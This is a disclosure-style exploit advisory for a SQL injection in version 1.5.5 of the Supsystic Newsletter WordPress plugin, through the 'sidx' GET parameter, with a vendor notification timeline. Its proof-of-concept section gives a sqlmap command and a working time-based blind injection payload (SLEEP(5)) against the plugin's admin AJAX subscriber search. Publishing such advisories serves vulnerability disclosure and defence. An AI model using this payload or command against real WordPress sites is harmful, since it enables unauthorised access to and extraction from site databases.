WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection

# Exploit Title: WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection
# Date: 24/07 2020
# Exploit Author: Erik David Martin
# Vendor Homepage: https://supsystic.com/
# Software Link: https://downloads.wordpress.org/plugin/newsletter-by-supsystic.1.5.5.zip
# Category: Web Application
# Version: 1.5.5
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2


# 25/07 2020: Vendor notified
# 27/07 2020: Vendor requested detailed information
# 27/07 2020: Information provided
# 07/08 2020: Nudged vendor. No reply
# 22/08 2020: Nudged vendor. No reply
# 04/10 2020: Nudged vendor. No reply
# 29/11 2020: WordPress Plugin Security team contacted
# 01/12 2020: Plugin/Project closed by WordPress Security team


# 1. Description

The GET parameter "sidx" does not sanitize user input when searching for existing subscribers.


# 2. Proof of Concept (PoC)

Use ZAP/Burp to capture the web request when searching for existing subscribers and save it to request.txt.
Referer: http://192.168.0.49/wp-admin/admin.php?page=newsletters-supsystic&tab=subscribers

sqlmap -r request.txt --dbms=mysql -p sidx

Parameter: sidx (GET)
	Type: time-based blind
	Payload: mod=subscribers&action=getListForTbl&pl=nbs&reqType=ajax&search[text_like]=testing&search[search_list]=0&_search=false&nd=1595780014444&rows=25&page=0&sidx=id AND (SELECT 1511 FROM (SELECT(SLEEP(5)))gTHi)&sord=desc